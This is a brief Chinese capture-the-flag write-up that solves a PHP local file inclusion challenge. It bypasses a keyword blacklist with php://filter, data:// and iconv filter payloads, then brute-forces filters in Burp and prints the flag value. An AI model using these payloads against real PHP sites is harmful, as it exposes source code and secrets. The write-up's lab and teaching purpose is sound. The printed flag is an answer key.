進入環境
看到 include(),想到文件包含,用php偽協議
/?filename=php://filter/read=convert.base64-encode/resource=flag.php
do not hack!猜測可能是黑名單檢測的敏感字符
輸入單個字符串/?filename=base64
還是顯示do not hack!
構造payload
/?filename=convert
可以推測base64在黑名單里面,還有string、read
構造payload
/?filename=data://text/plain,1234567
發現沒有成功,成功應該返回1234567
考慮php://filter有沒有過濾器可以用
把flag.php的內容從UCS-2LE.UCS轉為UCS-2BE編碼
構造payload
/?filename=php://filter?convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
還是不行,還有很多字符可以嘗試,但是太耗時間了,直接burp里面嘗試爆破
開始攻擊,在結果里面找flag
或者直接設置payload
cyberpeace{090804bb1d2cca98136f9b1da4d40d01}